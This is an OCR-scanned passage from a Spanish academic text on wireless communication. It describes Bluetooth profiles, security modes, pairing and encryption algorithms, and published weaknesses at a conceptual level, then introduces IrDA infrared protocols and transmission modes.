Pagina 69



Connection Oriented) puedan ser proyectados por los altavoces del segundo de la
misma manera, el audio recogido por el micréfono de un dispositivo se transmite al otro

dispositivo, donde puede ser guardado en un archivo.

o) ®

gl & BLUETOOTH

Figura 23: Pasarela de Audio entre dos dispositivos Bluetooth.
2.3.10.2.3 Perfil de Fax.

El perfil de fax (FP, Fax Profile) define los protocolos y procedimientos utilizados para
aquellos dispositivos que implementen la parte de fax del modelo de uso llamado punto
de acceso a datos en redes WAN. Un teléfono movil o un modem que utilice tecnologia
Bluetooth, puede ser utilizado por un PC como dispositivo fax inalambrico para enviar

y recibir mensajes de fax.
2.3.10.2.4 Perfil de Acceso a Red.

Este perfil define como los dispositivos Bluetooth pueden acceder a los servicios de una
LAN (Local Area Network) utilizando el protocolo PPP sobre RFCOMM, y como
puede utilizarse el mismo protocolo PPP para conectar en red dos dispositivos
utilizando Bluetooth, en este modelo de uso, varios terminales de datos utilizan un
punto de acceso a la red (LAP, LAN Access Point)como conexion inalambrica a una red
de area local, de tal manera q opere como si estuviera conectado a la red de forma

directa.

PPP (Point to Point Protocol) estandar utilizado ampliamente como medio de acceso a
redes capaz de soportar varios protocolos de red (IP, IPX, etc.) el perfil de acceso a red

no obliga al uso de ningun protocolo en particular. El perfil de acceso a red define como
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se soporta PPP para proporcionar acceso a la LAN a uno o mdltiples dispositivos
Bluetooth para establecer una comunicacion PC a PC utilizando conexiones PPP sobre
una emulacion de cables a través de RFCOMM.

2.3.10.2.5 Perfil de transferencia de archivos.

Este perfil soporta el modelo de uso de transferencia de archivos a través del protocolo
OBEX Files Transfer ofreciendo la capacidad de transferir objetos de datos (archivos y
carpetas) de un dispositivo Bluetooth a otro. Se definen las siguientes operaciones en el
perfil de transferencia de archivos.

Navegar por la jerarquia de carpetas.
Listar el contenido de una carpeta.
Extraer objetos, mediante el comando GET.

Enviar objetos mediante el comando PUT.

¢ & 6 6 6

Borrar objetos.
2.3.10.2.6 Perfil de Carga de Objetos.

Este perfil define los requisitos de aplicacion para implementar el modelo de uso de
carga de objeto a través del protocolo OBEX Object Push, el cual ofrece la capacidad de

cargar y descargar objetos de datos de un dispositivo Bluetooth a otro.
2.3.10.2.7 Perfil de Sincronizacion.

Define los requisitos para los protocolos y procedimientos utilizados por las
aplicaciones que proporcionan el modelo de uso de sincronizacion. Dispositivo a
dispositivo de programas de gestion de la informacion personal (PIM, Personal
Information Management) la informacion manejada por estos programas consiste en una

agenda de contactos, calendarios, mensajes y notas.

Los dispositivos que implementan el perfil de sincronizacion pueden actuar como
Cliente/Servidor. La sincronizacion en Bluetooth debe soportar al menos una de las

siguientes clases de aplicacion:

& Sincronizacion de agendas telefonicas.

& Sincronizacion de calendarios.
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@ Sincronizacion mensajes.

& Sincronizacién de notas.

2.3.11 MECANISMOS DE SEGURIDAD BLUETOOTH.

Como en cualquier otro tipo de comunicacion via radio, el aspecto de la seguridad es un
tema delicado que genera muy diversas opiniones. A continuacion se comentan los
fundamentos de la seguridad en Bluetooth en lo referente a las capas bajas de esta
tecnologia.

El Perfil de Acceso Genérico Bluetooth, que es un marco en el cual se centran todos los
de perfiles, define tres niveles de seguridad:

2.3.11.1 NIVELES DE SEGURIDAD BLUETOOTH.

2.3.11.1.1 Modo de seguridad 1 no seguro: En este modo no se iniciara ningun proceso
de seguridad.

2.3.11.1.2 Modo de seguridad 2 seguridad impuesta a nivel de servicio: el dispositivo
Bluetooth inicia el procedimiento de seguridad antes de que el canal haya sido

establecido (capas bajas de la pila de protocolos).

2.3.11.1.3 Modo de seguridad 3 seguridad impuesta a nivel de enlace: el dispositivo
Bluetooth inicia el procedimiento de seguridad antes de que el canal haya sido
establecido (capas bajas de la pila de protocolos).

Ademas, existen dos posibilidades en el acceso de dispositivos a diferentes servicios:

@ Dispositivos de confianza: tienen acceso sin restriccion a todos los servicios.

@ Dispositivos de no confianza: tienen acceso limitado.

Los servicios también pueden ser catalogados en tres niveles de seguridad:

& Servicios abiertos, a los cuales puede acceder cualquier dispositivo.

@ Servicios que requieren solo autenticacion, a los cuales puede acceder cualquier
dispositivo que se haya autenticado, puesto que habra demostrado que comparte
una clave de enlace con el proveedor del servicio.

& Servicios que requieren autenticacion y autorizacion, a los cuales solo tendran
acceso aquellos dispositivos que sean de confianza (y asi estaran marcados en la

base de datos del servidor).
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El sistema puede proveer seguridad tanto a nivel de aplicacion como a nivel de enlace.
Para mantener la seguridad a nivel de enlace, los parametros utilizados son:

& Ladireccion del dispositivo Bluetooth (BD_ADDR).

@ Laclave de usuario privado de autenticacion.

@ Laclave de usuario privado de cifrado.

& Un nimero aleatorio (RAND).

La BD_ADDR tiene una longitud fija de 48 bits y es Unica para cada dispositivo
Bluetooth, siendo asignada por el IEEE.

La clave de autenticacién tiene una longitud fija de 128 bits, mientras que la de cifrado,
que normalmente se obtiene a partir de la de autenticacion, durante el proceso de
autenticacion, tiene una longitud variable, entre 1 y 16 octetos, es decir entre 8 y 128
bits.

El nimero aleatorio vendrad derivado de un proceso aleatorio o pseudo-aleatorio que
tendra lugar en la unidad Bluetooth. Este pardmetro cambiara frecuentemente.

Ademas ofrece mecanismos de seguridad en las siguientes capas de protocolo:

2.3.11.2 ELEMENTOS DE SEGURIDAD EN BLUETOOTH.

2.3.11.2.1 Seguridad A Nivel de Banda Base.

Bluetooth trabaja en la frecuencia de 2.4GHz de la banda ISM (Industrial, Scientific and
Medical) disponible a nivel mundial que no requiere licencia de operador con el fin de
evitar interferencias con otras tecnologias que operan en la misma banda de frecuencias,
Bluetooth emplea la técnica del salto de frecuencia (FHSS, Frequency Hopping Spread
Spectrum) que consiste en dividir la banda en 79 canales (23 en Espafia, Francia y

Japdn)
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Figura24: Slot de tiempo en la seguridad a nivel de banda base.

Durante el establecimiento de la conexion de una piconet el dispositivo maestro genera
una tabla pseudoaleatoria con el patron de saltos de frecuencia que deben utilizar los
dispositivos pertenecientes a la piconet durante las comunicaciones el intercambio de la
tabla de saltos desde el maestro hacia el esclavo (o esclavos) se realizan en un canal
determinado del espectro de frecuencias, de forma que todos los dispositivos puedan
acceder aella.

Una vez establecida la Piconet, el dispositivo esclavo recibe un paquete FHS
(Frequency Hop Synchronization) que les permite sincronizar su reloj interno con el
reloj del maestro agregando un desplazamiento a su reloj interno como los relojes
funcionan con independencia a lo largo de la comunicacion se ha de actualizar

regularmente los desplazamientos.

Una vez comenzada la comunicacion, e intercambio de paquetes de datos se realiza de
acuerdo con el patron de saltos de frecuencia establecido y una velocidad marcada por
el reloj interno. Es decir que en cada instante de tiempo cada dispositivo escribira o
escuchara durante su time slot en un determinado canal de espectro.

En definitiva, la técnica de saltos de frecuencia empleada por Bluetooth garantiza, en
principio, la particion exclusiva de dispositivos autorizados en una piconet y una
comunicacion libre de escuchas por parte de usuarios ajenos a la misma.

El problema es que si un atacante dispusiera de una tabla de frecuencias generada por el
dispositivo maestro de una piconet éste podria sincronizar su médulo Bluetooth con el
resto de dispositivos de la piconet y participar en la comunicacion, capturando el trafico
e inyectando paquetes ya que el intercambio de tablas de secuencias de saltos se lleva a
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cabo en una frecuencia conocida, un dispositivo malicioso podria estar escuchando
constantemente y capturar estas tablas y sincronizarse con una piconet.
2.3.11.2.2 Seguridad A Nivel de Enlace.

Se definen tres mecanismos a nivel de enlace.
& Autenticacion.
& Autorizacion.
& Cifrado de Datos.

2.3.11.2.2.1 Autenticacion: este mecanismo es utilizado por un dispositivo (verificador)
para identificar a otro quien le ha realizado una peticion de conexion (demandante) para
esto, después del envio de la conexidn, el dispositivo demandante recibe un nimero
aleatorio de 128 bits (AU_RAND,) por parte del dispositivo verificador con el cual
podré obtener un valor calculado con la ayuda del algoritmo de autenticacién E;
(SRES). Este valor es enviado al dispositivo verificador para ser comparado con el valor
calculado por este dispositivo ( SRES') y en caso de que ambos coincidieran, se podra

determinar que el dispositivo demandante ha sido autenticado (SRES = SRES") .

Verficador (Unidad A) Demandante (Unidad B)
AU RANDy AU RANDa
B *_

BD ADDRp AU_RANDy BD_ADDRg
qi3! —_— B |
Clave de enlace Clave de enlace

i —
ACOy i l vACO
SRES' SRES SRES
7=
SRES

Figura 25: Proceso de Autenticacion.

Para generar los SRESg, E; hace uso de la direccion del dispositivo demandante
(BAD_ADDRp), una clave de enlace determinada y el AU_RAND,. E; También genera
el parametro ACO (Authenticated Ciphering Offset, Compensacion Cifrada

Autenticada) mismo que es utilizado en el mecanismo de encriptacion. EI BD_ADDR
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utilizado en una direccidn de 48 bits es Unico para cada dispositivo las claves de enlace,
por cuestion de seguridad pueden ser temporales 0 semipermanentes y al momento de
transmitirse deben estar previamente encriptadas para evitar que sean legibles si
Ilegaran a ser capturadas, De acuerdo a las siguientes circunstancias estas claves pueden
Ilegar a ser generadas.

Por una unidad (clave de unida, K,) cuando un dispositivo Bluetooth es instalado desde
una unidad A esta clave es usada en todas la conexiones hechas por A.

Por cada par de unidades A y B (clave de combinaciéon K,z), para obtener una mayor
seguridad. Esta clave es usada en las conexiones realizadas entre A 'y B.

Por un dispositivo maestro (clave maestra, Kpaster), Para la realizacion de
transmisiones multipunto.

Durante la inicializacion de un dispositivo (clave de inicializacion, K;,;;), cuando no se
logra establecer una clave de enlace K 5.

Las claves K,y Kyp Se crean a través del algoritmo E,,utilizando como parametros un

numero aleatorio y la direccion del dispositivo BD_ADDR.

Master Broadcasted Slave
(A) messages (B)
Randomize Kinh I K"i. Randomize
128bit I 128bit
LK_RAND . v F v LK_RAND 4
| ~ LK _RANDBK
<k ] -1 I
b 4 k.
E% LK_RAND BK =
- L%

Towen
V =
HO0Y 08
SN
a P
HO0v 08

Yoy
———
Ha0Y 08
aNYE

g
4Oy 08

"
™ 8§,

E21 E21 E21 E21

LK K, LK K, T LK _Kg

Fel)

Figura26: Algoritmo E;.

Las claves Ki,i; ¥ Kmaster S€ Crean mediante el algoritmo E,, utilizando un nimero

aleatorio y un PIN comun para cada dispositivo
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Mastar Broadcasted Slave
(A) messages (B)

Randomize 128bit |

Uy
up N

IN_RAND |
. IN_RAND
g {128bit)
HE I 822
qE | qE
| lru I i VU
E22 : EZ22
I
1

Figura27: algoritmo E,.

El RAND es un numero aleatorio de 128 bits generado por el software, también
generado para el proceso de encriptacion.

PIN es un nimero generado por el usuario que puede ser de uno hasta 16 bytes
dependiendo del numero de seguridad que se desea agregarle al sistema. E,; Y E,, al
igual que E; estan basados en el algoritmo de célculo por bloque SAFE+ (Secure and

Fast Encryption Routine, Rutina de Encriptacion Rapida y Segura).

2.3.11.2.2.2 Autorizacion: este procedimiento determina los derechos que tiene un
dispositivo Bluetooth para acceder a los servicios que ofrece un sistema. EI mismo que
se lleva a cabo mediante niveles de confianza los dispositivos tiene 3 niveles de
confianza, los cuales determinan la capacidad de acceso a los servicios: total, parcial o

restringida y nula.

& Un dispositivo de confianza mantiene una relacion de emparejamiento y dispone
de acceso sin restricciones a todos los servicios.

@ Un dispositivo de confianza restringida mantiene una relacion de
emparejamiento y solo dispone de acceso restringido a uno o varios Servicios,
pero no a todos.

@ Un dispositivo no confiable es aquel que puede 0 no mantener una relacion de
emparejamiento pero que no es de confianza. No se permite el acceso a ningun

servicio.
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Si un dispositivo de confianza intenta acceder a un servicio restringido, no requiere de
un procedimiento de confirmacion, accede de forma transparente. Y si un dispositivo no
confiable intenta acceder a un servicio restringido se requiere de un procedimiento
explicito de confirmacién por parte del usuario para permitir o denegar el acceso a ese

dispositivo durante la sesion de conexion actual.

Todo dispositivo Bluetooth dispone de una base de datos interna con su lista de

dispositivos de confianza que tiene el siguiente formato:

CAMPO ESTADO CONTENIDO

BD_ADDR. Obligatorio. Direccion MAC del
Dispositivo.

Nivel de Confianza. Obligatorio. De Confianza/No de
Confianza.

Clave de Enlace. Obligatorio. Clave de enlace K.

Nombre. Opcional. Nombre del Dispositivo

(Cadena).

Tabla: 4: formato de la lista de la base de datos interna de un dispositivo Bluetooth.

2.3.11.2.2.3 Cifrado de Datos: protege la informacion que se transmite en un enlace
entre dispositivos Bluetooth. Garantiza la confidencialidad del mansaje transmitido, de
forma que si el paquete es capturado por un usuario que no posea la clave de descifrado,

el mensaje le resultara ininteligible.

Su implementacidn es opcional, pero necesita que se haya producido anteriormente una
autenticacion. EI maestro y el esclavo deben ponerse de acuerdo en utilizar cifrado o no.
En caso afirmativo, deben determinar el tamafio de la clave de cifrado, para lo cual,
maestro y esclavo intercambian mensajes hasta alcanzar un acuerdo. No siempre es
posible llegar a un acuerdo sobre el tamafio de la clave, en este caso se indica a las
unidades Bluetooth que no se les permite comunicarse utilizando cifrado en el enlace.

Tras esta negociacion comienza el proceso de cifrado:
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El maestro genera una clave de cifrado Kc de 128 bits usando el algoritmo E3, el cual
requiere como parametros de entrada un, la clave de enlace K,z generada durante el
procedimiento de emparejamiento y numero COF (Ciphering Offset) de 96 bits basado
en el valor temporal ACO (Authenticated Ciphering Offset) calculando durante el

procedimiento de autenticacion.

RAND, 128 bits >

COF, 96 bits 5
Link key :

Key, 128 bits

Figura 28: Algoritmo E3.

Una vez que la clave de cifrado se ha generado con éxito, el maestro se encuentra en
condiciones de transmitir datos cifrados, para lo cual debe detener temporalmente el

trafico de datos de los niveles superiores y asi evitar la recepcion de datos corruptos.

2.3.11.2.3 Safer+ (Secure and Fast Encryption Routine): es un algoritmo simétrico de
cifrado de datos de tipo IBC (Iterated Block Ciphers) que utiliza bloques de 128 bits
Bluetooth hace uso del algoritmo de cifrado SAFER+ durante la generacion de las

claves de autenticacion y de cifrado.

@ Generacion de la clave K;,,;; con el algoritmo E22.

@ Generacion de la clave de enlace K, con el algoritmo E21.

@ Proceso de autenticacion con el algoritmo E1.

@ Generacion es la clave de cifrado K, con el algoritmo E3.
Sin embargo, SAFER+ no es utilizado para cifrar el enlace de datos, para esta funcion
Bluetooth utiliza el algoritmo 4LFSR, que es un cifrador de flujo adecuado para cifrador

rapido de datos.
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2.3.11.3 PROCESO DE CIFRADO EN BLUETOOTH.

La especificacion de Bluetooth, permite tres modos de cifrado diferente:
@ Modo 1: ninguna parte del trafico de datos es cifrada.
@ Modo 2: el trafico general va sin cifrar, pero el trafico dirigido individualmente
se cifra segun las claves individuales de la conexion.

& Modo 3: todo el trafico es cifrado acorde a la clave de cifrado.

La informacion de usuario es protegida por cifrado de la carga util (Payload), ya que el
codigo de acceso y la cabecera del paquete nunca son cifrados. El cifrado se lleva a
cabo con el algoritmo de cifrado Eo, que consiste basicamente en tres partes como lo

muestra en la siguiente figura.

TEXTO FLAND / TEXTO CIFRADC

Ke CLAVE DE CARGA
- H

ADDRESS
GEMERADOR

Y
3 4

GEMERADCR DEL
DE LA CLAVE - o

KEYSTREAM
CLOCK DE CARGA
.

T

TEXTO CIFRADD / TEXTO PLAND

Figura 29: Algoritmo de cifrado Eo.

Una parte que realiza la inicializacién (generaciéon de la clave de carga util). Una
segunda parte que es el generador de cadenas de claves, y la tercera parte en la que se
realiza cifrado o el descifrado.

Los pardmetros de entrada a dicho algoritmo seré la clave de cifrado que se obtiene del
algoritmo E3, la BD_ADDR del maestro y el reloj del mismo y un nimero aleatorio.

El generador de clave de KeyStream combina los bits de entrada de una forma
apropiada y los guarda en 4 registros de desplazamiento retroalimentados, conocidos
como Linear Feedback Shift Register (LSFR)estos registros son de 25, 31, 33 y 39
bits (128 en total) este método viene derivado del generador de cifrado de
Streams de Massey y Rueppel.

Cuando el cifrado esta activo, el maestro envia un namero aleatorio (RAND) al esclavo.

Antes de la transmision de cada paquete, el LSFR se inicializa en el generador de clave
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de carga mediante la combinacion de RAND, la identificacion del maestro, la clave de
cifrado, Kc y el nimero de reloj (o nimero de slot).

Como el tamafio de la clave de cifrado varia desde 8 a 128 bits, tiene que ser un
“negociado” entre los dispositivos previamente. En cada dispositivo hay un parametro
que define la longitud maxima permitida de la clave, en esta negociacion, el maestro
manda su sugerencia al esclavo, y este puede aceptarla o enviar otra sugerencia. Asi
hasta que haya consenso entre los dispositivos, 0 uno de ellos aborte la negociacién en
cada aplicacion, hay definido un tamafio minimo de clave aceptable, y si estos
requerimientos no son cumplidos por estos dispositivos, la aplicacion aborta la
negociacion, y el cifrado no puede ser usado. Esto es necesario para evitar la situacion
donde uno de los dispositivos fuerce un cifrado débil algin fin malicioso.

Finalmente genera élKeyStream (K CipHer) que es sumada en modulo —2 a los datos
que se deseen cifrar.

El descifrado se realiza exactamente de la misma manera usando la misma clave que se
uso para el cifrado.

Cada paquete de carga Util es cifrado separadamente, lo cual se consigue si tenemos en
cuenta que una de las entradas al algoritmo Eo es el reloj del maestro, el cual cambia
una unidad de intervalo de tiempo (625us), por lo que la clave de carga util sera
diferente para cada paquete, excepto para aquellos que ocupen mas de un intervalo de
tiempo, en cuyo caso el valor del reloj del primer intervalo de tiempo del paquete seré el

que se utilizara para todo el paquete.

UNIT A (master) UNITB
EN_RAND, |
| ~ [
| e
BD_ADDF?A—u-i g BO_ADDR , —= £
clock , ~v—i a clock,, - 0
Kc = Kr: -
|
v
Ktlpfré.’ cipher |

data, o e : 5
data L
é - 0
daIaS_A ~ <:—{:_l_;cc_

Figura 30: Descripcién funcional del procedimiento de cifrado.
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2.3.12 DEBILIDADES DE LA SEGURIDAD BLUETOOTH.

2.3.12.1 Generales.

& No esta demostrada la fuerza del generador Pseudoaleatorio del procedimiento
challenge — Response”. Se podrian producir nimeros estaticos o repeticiones
periddicas que redujeran su efectividad.

@ Pins Cortos son permitidos. De hecho se puede elegir la longitud del PIN, que
va de entre 1 a 16 bytes. Normalmente los usuarios los prefieren muy cortos.

@ No hay una forma “Elegante” de generar y distribuir el PIN. Establecer PINs en
una red Bluetooth grande y con muchos usuarios puede ser dificil, y esto lleva
normalmente a problemas de seguridad.

@ La longitud de la clave de cifrado es negociable. Es necesario un procedimiento
de generacion de claves mas fuerte.

@ En el caso del modo 3, la clave maestra es compartida. Es necesario desarrollar
un esquema de transmision de claves mejorado.

@ No existe autenticacion de usuarios. Solo esta implementada la autenticacion de
dispositivos.

& No hay limites de intentos de autenticacion.

@ El algoritmo de cifrado por bloques Eo, es muy débil.

@ La autenticacion es un simple “challenge — response” con hashes. Segln esta
disefiado, el esquema es vulnerable a ataques “Man in the Middle”.

& Los servicios de seguridad son limitados. Servicios de auditoria, de no repudio,

etc., no estan implementados.

2.3.12.2 VVulnerabilidad del Cifrado.

Dejando aparte de que el cifrado es opcional, ademas veremos que carece de varias
vulnerabilidades.

El algoritmo de cifrado por bloques EO es débil. Aunque se perfilaba como
relativamente seguro hace pocos afnos. Su sistema de creacion del Stream para el cifrado
es mucho mas complejo, y soluciona los problemas de reutilizacion. De claves como el
que tiene el RC, del wifi (802.11b).
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Sin embargo como con todos los algoritmos de cifrado, su seguridad va cayendo
paulatinamente.

Aunque Eo permite longitudes de clave que van de 1 hasta 16 bytes (8 —
128 bits), Jakobbson y Wetzel presentaron un ataque con complejidad matematica de
0(27100) (esto es el equivalente a reducir la longitud de clave de 128 a 100 bits).
Posteriormente Fluhrer y Lucks presentaron otro ataque que requeria desde
0(2773) hasta 0(28*), dependiendo de la cantidad de keystream capturado.

Se puede decir que las posibilidades de ataque de recuperacion de la clave de cifrado no
eran efectivas, considerando que para conseguir un 0(2773) habia que tener unos
14.000 gigas de keystream.

Los ataques se han ido perfeccionando hasta que el 2004 Yi Luy Serge Vaudenay
presentaron un nuevo ataque de correlacion que resuelve en 0(237) con una cantidad de
keystream. Consecutivos de 64 gigas, mejorandolo en el CryptoAsia2004 a

2*9%0peraciones simples solo con los primeros 24 bits de 23° frames.

@ Uso parcial del reloj. El reloj del dispositivo maestro es un parametro de entrada
para la generacion del Stream de cifrado, aunque parece que por un fallo de
disefio el bit mas significativo de su valor es ignorado, permitiendo este hecho

entre otras cosas ataques tipo Man in The Middle.

& Los datos cifrados pueden ser manipulados. Incluso con el cifrado mas fuerte,
las caracteristicas de los cifrados de Stream permiten que los datos
interceptados en un ataque Man in The Middle puedan ser convenientemente
manipulados dependiendo de la cantidad de texto cifrado conocida. Asi es
posible manejar cabecera IP.

2.3.12.3 Vulnerabilidades de la seguridad.
Son debidas principalmente a practicas de codificacion erronea en el desarrollo de los
servicios RFCOMM, al desconocimiento de los protocolos de seguridad Bluetooth y

demas (OBEX), y la reutilizacion de servicios antiguos para protocolos diferentes.

2.3.12.3.1 PermisosIrMC.
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@ IrMC define los permisos de acceso para los objetos comunes.
& Hay objetos visibles aunque el servicio sea “no emparejado”.

& Servicios abiertos intencionadamente.
2.3.12.3.2 Errores de Pila.
& Buffer Overflows.
& Fallos en la implementacion de servicios como en el chequeo de la longitud de
datos o la integridad de paquetes en OBEX, o terminaciones NULL.
2.3.12.3.3 Servicios ocultos.
& Servicios con los mas altos privilegios se dejan abiertos pero escondidos.

@ Canales traseros para hacerle la vida mas facil a otros dispositivos.

@ Acceso completo al comando AT, y por lo tanto a todo el dispositivo

2.4 TECNOLOGIA INFRARROJO
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2.4.1 Origen y evolucion de la tecnologia infrarrojo.

La tecnologia basada en infrarrojos es una de las antiguas en la aplicacion de la
tecnologia sin hilos sobre ordenadores, por lo que se pueden encontrar multiples
equipos dotados de la misma para comunicarse con el ordenador e intercambiar
informacion. Esta técnica es la misma utilizada por los mandos a distancia de nuestros
televisores, videos, etc. y se basa en la radiacion infrarroja (IR) utilizando un haz luz,
confinado y enfocable, dentro del espectro de frecuencia infrarrojo que se modula con
informacion y la transporta desde el emisor a un receptor a una distancia relativamente
corta, donde estd ubicado un dispositivo que convirtiendo esta sefial de luz en la
informacidn que permite la interoperatividad entre ellos.

La cadena de entornos implicados podria representarse como se detalla en la figura

En la que desde una aplicacion con interfaz grafico de usuario, por medio de un
software formado por el denominado driver especifico, a través de un modem de
infrarrojos y el transductor de sefiales, quedaria completa la cadena minima de entornos

0 participantes.

g 3
INTERFAZ 1

GRAFICO DY

¢ USUARIO

APLICACION

C LS DRIVERS

1R

MODEM CONTROLADO
IR (Infrarrojos)

Figura31: Entorno de la tecnologia infrarrojo.

2.4.2 Inicios de la tecnologia IrDa.
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Uno de los primeros métodos de transmisién que aparecieron para la comunicacion
entre dispositivos electrénicos fue el estandar IrDa que adopta el mismo nombre de la
asociacion que los produce: IrDA, (“Infrared Data Association) creado en 1993 en

conjunto entre HP, IBM, Sharp y otras compafiias.

2.4.2.1 Caracteristicas.

Caracteristica Valor

Tipo de Transmision | Infrarroja Difusa

Alcance Maximo de 10 metros

entre equipos.

Acceso basico 5 Mbps
Acceso avanzado 10Mbps
Longitud de onda 850 a 950 nm
Transmision 1 y 2 Mbps de
transmision, 16PPM y 4
PPM

Figura 5: Tabla de caracteristicas de IrDa.

2.4.3Tecnologia IrDA.

Con el fin de estructurar las comunicaciones realizadas con esta técnica se creo el IrDA
(The Infrared Data Association) que es una organizacién patrocinada por la industria y
fundada en 1993 con el objetivo de crear los estandares internacionales de hardware y

software para hacer posible las comunicaciones inalambricas mediante luz infrarroja.

El estandar IrDA ha ido evolucionando desde el estandar original, conocido como IrDA
1.0, que permitia la transferencia de datos a un velocidad de hasta 115.2 Kbps hasta el
IrDA 1.1 con velocidades de 4 Mbps y capacidad para la transferencia de unidades de

datos de 2048 bytes
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Debido a la sencillez de su circuiteria, consistente en un codificador / decodificador para
la transmision o recepcion, y un transductor de infrarrojos (el LED en el transmisor y el
fotodiodo en el receptor), podemos encontrar esta tecnologia montada en la mayoria de
los ordenadores portatiles, mdviles, camaras digitales y otros cientos de dispositivos

Para cubrir todas las necesidades del mercado, encontramos dos aplicaciones distintas:

& Irda-Data.
& Irda-Control.

Ird-DATA
=

Ird-CONTRC
—_—

Figura 32: Codificador decodificador de transmision.

2.4.3.1 IrDA-DATA.

IrDA-DATA (IrDA-D) permite la comunicacion bidireccional entre dos extremos a
velocidades que oscilan entre los 9600 bps y los 4 Mbps dependiendo del tipo de
transmision (Sincrona o Asincrona), la calidad del controlador que maneja los puertos
infrarrojos, el tipo de dispositivo, y por supuesto, la distancia que separa ambos
extremos. Precisamente, este es uno de los puntos problematicos, ya que aunque la
distancia entre emisor y receptor puede alcanzar los dos metros, no se recomienda que
sea superior a un metro. Por no hablar de los puertos de bajo consumo instalados en
moviles y pequefios PDAs, cuyo rango de accion se reduce a no de 30 cm. En cualquier
caso, hemos de situar los dispositivos en un angulo maximo de 30 grados y asegurarse

de que no existen obstaculos entre ellos.

Figura 33: Transmision IrDA-DATA.
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Para que la transmision en IrDA-Data sea posible, se cuenta con tres protocolos basicos

e imprescindibles y un juego de protocolos opcionales.

244 PROTOCOLOS IRDA.

2.4.4.1 PHY (Physical Signaling Layer): Define la distancia m&xima entre equipos, la
velocidad de transmision y el modo en el que se transmite la informacion.

2.4.4.2 IrLAP (Link Access Protocol). Proporciona la conexion del dispositivo
facilitando la comunicacién y estableciendo los procedimientos para la busqueda
e identificacion de otros dispositivos que se encuentren preparados para
comunicarse.

2.4.4.3 IrLMP (Link Management Protocol) e IAS (Information Access Service).
Gestiona la multiplexacion de la capa IrLAP, haciendo posible la existencia de
multiples canales sobre una conexion IrLAP.

Los opcionales son: IrDA Lite, Tiny TP, IrOBEX, IrCOMM, IrLAN.

2.4.4.4 IrDA Lite: Su finalidad es reducir la implementacion de los basicos sin
comprometer la funcionalidad de los mismos.

2.4.4.5 Tiny TP: Protocolo de nivel de Transporte encaminado a proporcionar el control
de flujo, segmentacion y re ensamblaje de datos.

2.4.4.6 IrOBEX: Protocolo nivel de Aplicacion para intercambio de objetos
normalizando el intercambio de estos entre cualquier dispositivo.

2.4.4.7 IrCOMM: Su objetivo es resolver la problemética de la comunicacion de
equipos que disponiendo de puertos serie y/o paralelo desean el intercambio de
informacién por infrarrojos.

2.4.4.8 IrLAN: Protocolo para el entorno de redes de area local.

2.45 ESTRUCTURA IrDA: Se define una organizacion en capas, Ademas cualquier
Dispositivo que quiera obtener la conformidad de IRDA ha de cumplir los protocolos
obligatorios (azul), no obstante puede omitir alguno o todos los protocolos opcionales
(verde). Esta diferenciacidn permite a los desarrolladores optar por disefios mas ligeros
y menos costosos, pudiendo también adecuarse a requerimientos mas exigentes sin que

sea necesario salirse del estandar IRDA.
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Figura 34: Estructura IrDA.

Una imagen completa de protocolos, escenarios y participantes seria lo que se presenta
a continuacion donde se detallan las pilas de protocolos antes mencionados, asi como
otros elementos participantes.

2.4.5.1 Escenarios de la estructura Irda.

Escenarios de protocolos de usuarios.

Escenarios de los protocolo de driver.

Escenario de estructuracion de la informacion a nivel de trama.

Escenario de nivel fisico.

ESCENARIOY ' USUARICO '
FPROTOCOO RS
DE USUAR K}
APLICACIONES
-
| IrCOMM |
l 3
- l-I MNivel superior API I
o
g
IrLMP =1
=
FROTOSCOLOS DEL IrLAP é
DRIVER
Software -l
de OS5
N 3
Y E =
ENTRAM AL RELAC.J
=== — Wl = ] TE} A TN
ESTRUCT U RA DO —————
DE LA INFORMACION
—_ |

—
NIV EL FISISCO
L

==

Figura 35: Escenarios de la Estructura Irda.
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2.4.5.2 MODOS DE TRANSMICION.

A la hora de transmitir, las estaciones infrarrojas pueden usar tres tipos de métodos para

ello:

2.4.5.2.1 Punto a punto: En el modo punto a punto, el tipo de emision por parte del
transmisor se hace de forma direccional. Por ello, las estaciones deben verse
directamente, para poder dirigir el haz de luz directamente de una hacia la otra. Por este
motivo, este es el tipo de red inalambrica mas limitado, pues a todos los inconvenientes
de las comunicaciones infrarrojas hay que unir el hecho de tener que colocar las
estaciones enfrentadas. Este método se suele usar en redes inalambricas Token Ring,
donde el anillo esta formado por una union de enlaces punto a punto entre las distintas

estaciones, conformando cada uno de los segmentos.

2.4.5.2.2 Casi- difuso: En el modo casi-difuso, el tipo de emisién es radial; esto es, la
emisién se produce en todas direcciones, al contrario que en el modo punto a punto.
Para conseguir esto, lo que se hace es transmitir hacia distintas superficies reflectantes,
las cuales redirigiran el haz de luz hacia la/s estacion/es receptora/s. De esta forma, se
rompe la limitacion impuesta en el modo punto a punto de la direccionalidad del enlace.
En funcién de como sea esta superficie reflectante, podemos distinguir dos tipos de

reflexion:

2.4.5.2.1.1Reflexion Pasiva: En la reflexiébn pasiva, la superficie reflectante

simplemente refleja la sefial, debido a las cualidades reflexivas del material.

2.4.5.2.1.2 Reflexién Activa: En la reflexion activa, por el contrario, el medio
reflectante no sélo refleja la sefial, sino que ademas la amplifica. En este caso, el medio
reflectante se conoce como satélite.

Destacar que, mientras la reflexion pasiva es mas flexible y barata, requiere de una
mayor potencia de emision por parte de las estaciones, debido al hecho de no contar con

etapa repetidora.

2.4.5.2.3 Difuso: EI modo de emision difuso, por otro lado, se diferencia del casi-difuso

en que debe ser capaz de abarcar, mediante multiples reflexiones, todo el recinto en el
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cual se encuentran las estaciones. Obviamente, esto requiere una potencia de emision
mayor que los dos modos anteriores, puesto que el numero de rebotes incide

directamente en el camino recorrido por la sefial y las pérdidas aumentan.

2.45.3 PHY (PHYSICAL SIGNALING LAYER).

En este nivel es en donde se definen las formas de codificacion de la informacion,
esquemas de modulacién y las caracteristicas generales de los pulsos. A su vez es el
encargado de la deteccién de los pulsos emitidos, del entramado de datos y de la
comprobacion de redundancia ciclica.

Su mision principal es la de preparar la informacion que seré transmitida de forma que
sea compatible para las diferentes capas de nivel superior del receptor, encargandose
ademas de compensar la tasa de transferencia entre dispositivos haciendo uso de una
memoria dindmica.

Hay tres métodos diferentes de modulacion o codificacién/decodificacion.

@ Infrarrojo serie SIR.
& MIR basadaen DLC.
@ 4 PPM fast IR (FIR).

2.4.5.3.1 INFRARROJOS SERIES SIR.

Es el método obligatorio, mientras que los otros dos son opcionales. Para tasas de
transferencia de 2.4, 9.6, 19.2, 38.4, 57.6 115.2 Kbps, se afiaden antes y después de cada
byte de datos un bit de start (0) y un bit de stop (1). Este es el mismo formato utilizado
en una UART tradicional. Sin embargo, en lugar de NRZ, se utiliza un método similar a
